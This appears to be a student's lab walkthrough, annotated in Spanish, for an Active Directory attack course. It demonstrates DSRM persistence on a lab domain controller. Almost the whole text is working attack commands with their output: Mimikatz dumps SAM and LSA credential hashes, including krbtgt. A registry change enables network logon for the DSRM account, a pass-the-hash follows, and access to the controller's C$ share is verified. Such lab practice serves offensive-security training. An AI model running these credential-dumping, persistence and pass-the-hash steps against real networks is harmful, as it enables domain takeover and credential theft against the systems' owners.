Learning Objective - 11

DSRM

PS C:\AD\Tools> Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dc

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

620     {0;000003e7} 1 D 18290          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;0898d047} 0 D 144233195   dcorp\Administrator     S-1-5-21-719815819-3726368948-3917688648-500      (12g,26p)       Primary
 * Thread Token  : {0;000003e7} 1 D 144330074   NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)

mimikatz(powershell) # lsadump::sam
Domain : DCORP-DC
SysKey : bab78acd91795c983aef0534e0db38c7
Local SID : S-1-5-21-627273635-3076012327-2140009870

SAMKey : f3a9473cb084668dcf1d7e5f47562659

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: a102ad5753f4c441e3af31c97fad86fd

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount

PS C:\AD\Tools> Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # lsadump::lsa /patch
Domain : dcorp / S-1-5-21-719815819-3726368948-3917688648

RID  : 000001f4 (500)
User : Administrator
LM   :
NTLM : af0686cc0ca8f04df42210c9ac980760

RID  : 000001f5 (501)
User : Guest
LM   :
NTLM :

RID  : 000001f6 (502)
User : krbtgt
LM   :
NTLM : 4e9815869d2090ccfca61c1fe0d23986

Ejecutamos los siguientes comandos para que la clave use el hash del DSRM

PS C:\AD\Tools> Enter-PSSession -Computername dcorp-dc
[dcorp-dc]: PS C:\Users\Administrator\Documents> New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD


DsrmAdminLogonBehavior : 2
PSPath                 : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\
                         Lsa\
PSParentPath           : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control
PSChildName            : Lsa
PSDrive                : HKLM
PSProvider             : Microsoft.PowerShell.Core\Registry

Ahora nos logeamos con la hash del DSRM.

PS C:\AD\Tools> Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe"'

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe
user    : Administrator
domain  : dcorp-dc
program : powershell.exe
impers. : no
NTLM    : a102ad5753f4c441e3af31c97fad86fd
  |  PID  6640
  |  TID  4808
  |  LSA Process is now R/W
  |  LUID 0 ; 77309916 (00000000:049ba7dc)
  \_ msv1_0   - data copy @ 000002167504DE30 : OK !
  \_ kerberos - data copy @ 00000216753FA068
   \_ des_cbc_md4       -> null
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ *Password replace @ 0000021675AF0AE8 (32) -> null

PS C:\AD\Tools>

En la nueva terminar podemos evidenciar el permiso para logeo.

PS C:\Windows\system32> ls \\dcorp-dc\C$


    Directory: \\dcorp-dc\C$


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---        11/14/2022  10:12 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d-r---         2/25/2024   3:27 PM                Users
d-----         1/10/2024  12:59 AM                Windows

https://raw.githubusercontent.com/leechristensen/Random/master/PowerShellScripts/Get-LogonSessionProcesses.ps1raw.githubusercontent.com

Administrative tools and logon types reference - Windows ServerMicrosoftLearn